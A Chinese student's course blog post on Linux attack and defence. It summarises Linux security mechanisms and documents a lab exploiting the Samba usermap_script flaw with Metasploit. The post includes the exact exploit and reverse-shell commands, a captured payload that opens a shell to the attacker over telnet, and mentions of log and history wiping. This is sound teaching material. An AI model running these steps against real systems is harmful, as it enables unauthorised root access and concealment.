20199120 2019-2020-2 《网络攻防实践》第8周作业
20199120 2019-2020-2 《网络攻防实践》第8周作业
前言
作业 | 答案 |
---|---|
这个作业属于哪个课程 | 网络攻防实践 |
这个作业的要求在哪里 | 第八次作业 Linux操作系统攻防 |
我在这个课程的目标是 | 学习、提高网络攻防的本领 |
这个作业在哪个具体方面帮助我实现目标 | 学习Linux操作系统安全攻防 |
1.本章知识点总结
1.1 Linux操作系统基本框架概述
- Linux系统结构包括:Linux内核、一些GUN运行库和工具、命令行shell、图形界面X窗口系统及相应的桌面环境并包括数千种应用软件
- Linux进程与线程管理机制:Linux采用抢占式多用户进程模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来选择进程进行执行。
- Linux的内存管理机制:Linux的内存管理模块MM,允许多个进程安全地共享物理内存区域。Linux支持虚拟内存管理,在32位机器上,每个进程拥有独立的4GB虚拟内存空间,其中内核的代码与数据段被映射到3GB以上的空间,用户态代码申请的虚拟内存空间为0-3GB区间,每个进程使用两套段描述符分别访问内核态和用户态的内存空间。
- Linux的文件系统管理机制:虚拟文件管理VFS机制,使得其能够支持数十种不同类型的逻辑文件系统,VFS为用户进程提供了一组通用的文件系统调用函数,可以对不同文件系统中的文件进行统一操作。
- Linux的设备控制机制:处理或者管理硬件控制器的软件叫做设备驱动程序。Linux的一个基本特点是抽象了设备的处理,所有硬件设备都像常规文件一样看待。Linux支持三类硬件设备:字符设备、块设备和网络设备。
- Linux的网络机制:网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络协议栈实现每一种可能的网络传输协议;网络设备驱动程序负责与硬件设备通信,每一种硬件设备都有相应的设备驱动程序。
- Linux的系统调用机制:Linux提供系统调用接口,允许应用程序透过接口访问硬件设备和其他系统资源,有助于保证Linux系统的稳定可靠和安全,并为用户空间提供了一种统一的抽象接口,有助于应用程序的跨平台移植。
1.2 Linux操作系统安全机制
1.2.1 Linux身份认证机制
- Linux用户
在Linux系统中以用户作为执行进程完成特定操作任务的主体,用户具有不同的角色类型- Root根用户:在系统中是唯一的拥有至高无上权限的超级用户,可以操作系统中任何的文件与命令
- 普通用户:由使用者创建的的登陆系统并执行基本计算任务的用户,只能操作自己目录中的内容,执行权限受限
- 系统用户:这类用户不具有登陆系统的能力,但是却是系统运行不可缺少的用户,比如用于启动网络服务的daemon、apache等用户
Linux用户信息保存在系统的 /etc/passwd 文件中,具体包括用户名、每个用户唯一的uid、使用Shell类型等、而几秒口令字存放于 /etc/shadow 文件中,只对Root可读
- Linux用户组:具有相同特征的用户账户集合,用于简化整个系统的用户权限管理,我们可以通过修改文件或目录的权限,让用户组具有一定的操作权限,这样用户组下的用户对该文件或目录都具有相同的权限。用户组的信息保存在系统的/etc/group/文件中,加密口令保存在/etc/gshadow/中
- Linux的本地登录用户认证机制:在控制台上显示登录,当用户敲入用户时,getty执行登录(login)进程, 进入登录认证过程, 认证成功后, 登录进程会fork相应用户Shell的子进程, 至此完成登录过程, 用户可以在对应的 Shell下开始工作
- Linux的远程登录用户认证机制:Linux系统普遍使用SSH服务来进行远程用户登录与网络访问, SSH提供两种方式的用户身份认证机制: 第一种方式为基于口令的身份认证 ;第二种方式为基于非对称密钥的身份认证
- Linux的统一身份认证中间件一一PAM:PAM通过动态链接库和一套统一的api,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要,给不同的服务配置不同的认证方式而无须更改服务程序, 同时也便于向系统中添加新的认证手段,PAM支持的四种管理界面:①认证管理②账户管理③密码管理④会话管理
1.2.2 Linux授权与访问控制机制
Linux通过VFS虚拟文件系统来实现对不同类别文件系统格式的支持,并同时通过设备文件类型来统一集成对其它类型系统资源的管理。Linux的授权与访问控制机制在这种设计下变得非常简单,所有文件与设备资源的访问控制都通过VFS虚拟文件系统来实现。在Linux的虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限来进行系统的授权与控制访问
- 文件所有者:linux把所有的东西都看成文件。每个linux文件都有其所有者。可使用文件所有者的uid和gid来指明文件的所有者,在用户创建文件的时候自动进行写入。可以通过chown命令来改变文件的所有者
- 访问权限:linux文件的详细描述可以看出10个标志位。第一个标志位代表文件的类型,之后9个标志位3个为一组。第二组第三组分别为同组内其他用户的权限,其他用户的权限
- 特殊执行权限:设置了SUID或SGID的文件。SUID允许执行文件在运行时刻从运行者的身份提升至文件所有者权限。SGID与SUID类似,仅仅是以权限组的形式进行运行
1.2.3 Linux安全审计机制
主要通过三个主要的日志子系统来实现,包括如下
- 连接时间日志:由多个程序执行,把记录写入到/var/log/wtmp和/var/run/utmp,login等用户登录程序负责更新wtmp和utmp文件,是系统管理员能够跟踪谁在何时登录到系统
- 进程统计日志:由系统内核执行,当一个进程终止时,为每个进程往进程统计文件中写一个记录。进程统计的目的是为系统中的基本服务提供命令使用统计
- 错误日志记录:由通用的日志服务记录服务syslogd(8)执行,各种系统守护进程、用户程序和内核报告值得注意的事件
1.3 Linux系统远程攻防技术
-
从远程网络上侵入Linux 系统的主要方法在目前来说,不外乎如下四种
- 对Linux 系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期
望破解出某一服务真实有效的用户账户和口令,从而假冒该用户的身份进入系统 - 发掘 Linux 系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中
注入攻击负载模块代码进行执行,从而为攻击者提供本地 Shell的访问权 - 通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来
攻击客户端程序和用户,由客户端软件或用户来安装和执行恶意程序,从而主动向
攻击者打开Linux 系统的大门 - 在Linux 系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的
监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。
- 对Linux 系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期
-
Linux 远程口令字猜测攻击:攻击者通过网络协议远程猜测成功一组用户名和口令, 用这些信息远程登录到Linux系统上, 获得本地的访问权。攻击者自动化的口令猜测工具很多,有brutus,THC Hydra,Cain and Abel等
-
防御远程口令猜测技术:确保每个用户都有自己的有效账户和口令字,而不是使用一个账户。特权账户应避免远程直接登录,只能在本地登录。口令长度至少达到8位,包含字母、数字和标点符号。对多次认证失败进行纪录,并在多次无效登录之后断掉连接。不要再自己登录的所有系统上都使用相同的口令。最好不用口令字,而使用基于公开密钥证书的身份认证机制。
-
linux网络服务远程渗透攻击:系统远程渗透最重要的攻击渠道————对监听网络服务安全漏洞的渗透利用。截至2011Linux系统常见网络服务的安全漏洞及渗透攻击代码
- Linux内核中的网络协议栈攻击:CVE-2010-4161,攻击者通过向目标系统任意开放的UDP端口发送—个特殊构造的UDP数据包, 就可以直接将系统宕机,造成目标系统的拒绝服务攻击
- LAMP WEB网站中的网络服务攻击
- FTP、Samba等文件共享服务
- 电子邮件收发服务:Sendmail 服务一直以来都是包括 Linux 在内的类 UNIX 系统上最流行的电了邮件收发服务, 也是备受争议的不安全的知名网络服务之一。
- 其他网络服务的攻击
-
网络服务远程渗透攻击的安全防范措施
- 禁用不必要的网络服务
- 尽量选择更安全的网络协议和服务软件
- 及时更新网络服务版本
- 使用防火墙为Linux网络服务添加网络访问控制
- 建立入侵检测与应急响应计划流程
-
攻击Linux路由器与防火墙:linux作为路由器或者开启混杂模式的时候,如果实现路由寻址和数据包转发功能的程序存在漏洞,很可能遭受构造数据包攻击。
1.4 Linux系统本地安全攻防技术
-
Linux本地特权提升:最简单的特权提升途径就是能够破解出Root 用户的口令,然后执行su 或sudo命令进行提升。或者是发掘并利用 su或sudo程序中的安全漏洞。目前最为流行的途径是直接攻击那些具有Root特权程序中的任意代码执行漏洞,让它们替攻击者打开具有Root权限的Shell命令行连接,这类途径又分为攻击用户态SUID特权提升漏洞以及攻击Linux内核代码特权提升漏洞最后一种本地特权提升技术则利用了系统中的一些配置不当,通过从系统中搜索全局可写的敏感文件与目录位置并加以利用
- Linux口令字破解:通过/etc/shadow文件中纪录的口令的hash值,获取口令的加密值,后通过已知密文暴力猜测明文
- sudo缺陷进行特权提升:通过sudo程序的漏洞,绕过程序的身份认证机制,获取权限
- 利用用户态SUID程序:主要包括利用程序漏洞进行特权提升、本地缓冲区溢出攻击、符号连接攻击、竞争条件攻击、共享函数库攻击
-
本地特权提升的防范措施
- 安装软件时评估风险
- Linux服务器的管理员安全配置系统
- 使用SELinux等安全增强模块
-
Linux系统上的消踪灭迹
- 通过对message、auth、secure和xferlog等日志文件进行修改做到日志的清理
- 通过对.bahs_history文件的清理,清理shell的命令痕迹
-
Linux系统上植入远程控制后门程序的类型主要有:特洛伊木马化系统程序、命令行后门工具以及图形化后门工具
2.实践过程
2.1 动手实践:使用 Metasploit 进行Linux远程渗透攻击
使用 Metasploit 渗透测试软件,攻击 Linux 靶机上的 Samba 服务 usermap_script 安全漏洞,获取目标 Linux 靶机的主机访问权限。实践步骤如下① 启动 Metasploit 软件,可根据个人喜好使用 msfconsole、msfgui、msfweb 之一
② 使用exploit: exploit/multi/samba/usermap_script 渗透攻击模块
③ 选择攻击 PAYLOAD 为远程 Shell (正向或反向连接均可)
④ 设置渗透攻击参数(RHOST,LHOST,TARGET等)
⑤ 执行渗透攻击
⑥ 查看是否正确得到远程Shell,并查看获得的权限
机器 | 角色 | IP地址 |
---|---|---|
kali | 攻击机 | 192.168.0.133 |
Metasploitable2-Linux | 靶机 | 192.168.0.142 |
步骤1:
- 进入 metasploit
步骤2:
- 执行命令
search samba
搜索 Samba 服务的模块,可以看到针对usermap_script安全漏洞的渗透攻击模块名称为:13 exploir/multi/usermap_script
步骤3:
- 执行命令
use exploit/multi/samba/usermap_script
选择渗透攻击模块 - 执行命令
show payloads
查看攻击负载模块 - 执行命令
set PAYLOAD cmd/unix/reverse
设置攻击载荷,此载荷是支持双向连接 - 执行命令
set LHOST 192.168.0.133
设置攻击机为kali - 执行命令
set RHOST 192.168.0.134
设置靶机为Metasploitable2-Linux
步骤4:
-
执行命令
exploit
发起攻击,成功获取靶机的shell
-
打开shell,通过命令
whomai
查看当前权限账户,发现当前权限账户为root
2.2 攻防对抗实践
任务:攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息
- 还是选择上一个实践中的漏洞,攻击过程同上 ,用wireshark来抓取查看
-
攻击者的IP地址
192.168.0.133
,端口46785
;目标IP192.168.0.142
,端口139
,攻击发起时间:2020.4.21 12:07:03
-
追踪TCP流,可以看到
shellcode
nohup
是no hang up
的缩写,即不挂断地运行命令。如果正在运行一个进程,而且觉得在退出帐户时该进程还不会结束,那么可以使用nohup命令。该命令可以在你退出帐户/关闭终端之后继续运行相应的进程sh
是linux中运行shell
的命令,是shell
的解释器sleep
来将目前动作延迟一段时间telnet 192.168.0.133 4444
表明数据是通过4444
号通信端口管控传入攻击机的/dev/null 2>&1
这样的写法.这条命令的意思是将标准输出和错误输出全部重定向到/dev/null
中,也就是将产生的所有信息丢弃&
, 让该命令在后台执行
- 通过追踪TCP流确定攻击成功之后攻击机在靶机执行的命令
3.学习中遇到的问题及解决
-
问题1: 对各种协议和漏洞还是不了解,实践二中想找一个新的漏洞,但好像不是很成功。
-
解决方法: 参考了一下同学的博客
4.实践总结
感觉和上一次实验差不多,但还是得加强对各种协议和漏洞的理解,自己还是大部分照着葫芦画瓢做,还得继续努力